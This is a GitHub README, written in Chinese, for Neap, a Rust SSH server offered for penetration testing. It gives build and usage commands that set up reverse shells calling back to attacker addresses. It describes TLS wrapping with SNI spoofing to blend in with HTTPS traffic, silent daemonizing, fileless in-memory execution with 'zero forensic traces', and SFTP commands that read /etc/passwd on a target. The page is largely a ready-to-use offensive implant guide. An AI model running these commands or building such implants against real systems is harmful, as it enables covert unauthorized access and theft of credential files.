Real-Fruit-Snacks/Neap

GitHub: Real-Fruit-Snacks/Neap

Neap 是一款基于 Rust 的静态链接 SSH 服务器,专为渗透测试设计,集成了全功能 PTY Shell、SFTP 文件传输、端口转发以及 TLS 流量伪装等能力。

Stars: 0 | Forks: 0

Neap ![Rust](https://img.shields.io/badge/language-Rust-orange.svg) ![Platform](https://img.shields.io/badge/platform-Linux%20%7C%20Windows-lightgrey) ![License](https://img.shields.io/badge/license-GPLv3-blue.svg) **用于渗透测试的静态链接 SSH 服务器。** 单个静态二进制文件即可实现反向 shell、正向 shell、SFTP 文件传输以及完整的 SSH 端口转发。这是 [Undertow](https://github.com/Real-Fruit-Snacks/Undertow) 的 Rust 重写版本,支持 TLS 封装、SNI 欺骗、构建时配置、自动守护进程化、内存 SFTP 以及通过 `/exec/` 实现 SFTP shell。
## 快速开始 **前置条件:** Rust 1.75+, Cargo ``` git clone https://github.com/Real-Fruit-Snacks/Neap.git cd Neap make current ``` **使用 build.sh(推荐):** ``` ./build.sh reverse 192.168.1.10:4444 ./build.sh listen 8888 ./build.sh reverse 10.10.14.5:443 --tls --password "secret" ``` **验证:** ``` ./neap --help ``` ## 功能特性 ### 反向 Shell 连接回攻击者,并完全支持 PTY。Linux 使用 openpty,Windows 使用 ConPTY。 ``` neap 192.168.1.10 neap -p 31337 kali@192.168.1.10 ``` ### 正向 Shell 在指定端口上监听传入的 SSH 连接。 ``` neap -l -p 4444 neap -v -l -p 4444 # verbose ``` ### SFTP 文件传输 完整的 SFTP 子系统,用于通过 SSH 通道进行文件上传和下载。 ``` sftp -P 4444 user@target ``` ### 端口转发 通过 SSH 隧道进行本地、远程和动态(SOCKS5)转发。 ``` # 本地转发 ssh -L 8080:internal:80 -p 4444 user@target # 动态 SOCKS5 ssh -D 1080 -p 4444 user@target ``` ### TLS 封装 使用 SNI 欺骗将 SSH 流量封装在 TLS 中。与正常的 HTTPS 流量融合。 ``` ./build.sh reverse 10.10.14.5:443 --tls ``` ### 构建时配置 所有连接参数在编译时固化。目标端无需运行时参数。 ``` ./build.sh reverse 10.10.14.5:443 --password "s3cret" --tls # 生成一个无需任何标志即可自动连接的 binary ``` ### SFTP Shell (`/exec/`) 通过任何 SFTP 客户端执行命令 —— 无需 SSH shell 访问权限。访问 `/exec/` 下的路径,Neap 将运行命令,并将输出作为文件内容返回。 ``` sftp -P 4444 user@target sftp> get /exec/whoami /dev/stdout sftp> get "/exec/cat /etc/passwd" /dev/stdout sftp> get /exec/ipconfig /dev/stdout ``` 适用于任何标准 SFTP 客户端(OpenSSH、WinSCP、FileZilla、scp、curl)。无需自定义工具。 **`nexec` 辅助工具** —— 从攻击者一侧简化命令执行: ``` nexec user@target:4444 "whoami" nexec user@target:4444 "cat /etc/passwd" ``` ### 无文件执行(memfs + /exec/) 通过内存 SFTP 上传二进制文件,然后在不接触磁盘的情况下执行它: ``` sftp> put payload /tmp/payload nexec user@target:4444 "/tmp/payload" ``` 在 Linux 上,使用 `memfd_create()` —— 二进制文件通过 `/proc/self/fd/` 从 RAM 运行。零磁盘痕迹。Windows 回退到临时文件,该文件在执行后立即被删除。 ### 自动守护进程化 Neap 在启动时自动后台化。Unix 双 fork 并完全分离终端。Windows 分离进程重生。无可见窗口,无终端输出。 ### 内存 SFTP 使用 `--memfs` 实现仅 RAM 文件存储。文件永不接触磁盘 —— 零取证痕迹。设计上所有数据在退出时丢失。 ``` neap --memfs -l -p 4444 ./build.sh reverse 10.10.14.5:443 --memfs ``` ## 架构 ``` src/ ├── main.rs # Entry point and mode dispatch ├── server/ # SSH server implementation ├── client/ # Reverse connection client ├── shell/ # PTY handling (Linux + Windows ConPTY) ├── sftp/ # SFTP subsystem ├── forward/ # Port forwarding (local, remote, dynamic) ├── tls/ # TLS wrapping with SNI spoofing └── config/ # Build-time configuration embedding ``` 双模式架构:bind(服务器监听)或 reverse(客户端回连)。两者共享相同的 SSH 会话层,并为 shell、SFTP 和转发提供可插拔的子系统。TLS 封装是透明且可选的。 ## 平台支持 | | Linux | Windows | |---|---|---| | 反向 Shell | 完整 (PTY) | 完整 (ConPTY) | | 正向 Shell | 完整 (PTY) | 完整 (ConPTY) | | SFTP | 完整 | 完整 | | 端口转发 | 完整 | 完整 | | TLS 封装 | 完整 | 完整 | | 自动守护进程化 | 完整 (double-fork) | 完整 (detached) | | 内存 SFTP | 完整 | 完整 | | SFTP Shell (`/exec/`) | 完整 | 完整 | | 无文件执行 (memfs) | 完整 (memfd) | 临时文件 | | 静态二进制 | musl | MSVC | ## 安全性 通过 [GitHub Security Advisories](https://github.com/Real-Fruit-Snacks/Neap/security/advisories) 报告漏洞。90 天负责任的披露。 **Neap 不具备以下功能:** - 管理植入网络或任务分发(不是 C2) - 生成漏洞利用或载荷(不是框架) - 销毁证据或篡改日志(不是反取证) - 逃避 EDR 行为检测(不是逃避工具) ## 许可证 [GPLv3](LICENSE) — Copyright 2026 Real-Fruit-Snacks
标签:GPLv3, IP 地址批量处理, PTY, Python 3.9+, Rust, Shell, SNI欺骗, SOCKS代理, SSH服务器, TLS, 内存分配, 反向Shell, 可视化界面, 后门, 底层编程, 开源, 文件传输, 正向Shell, 端口转发, 网络安全, 网络流量审计, 通知系统, 防御工具, 隐私保护, 隧道, 静态链接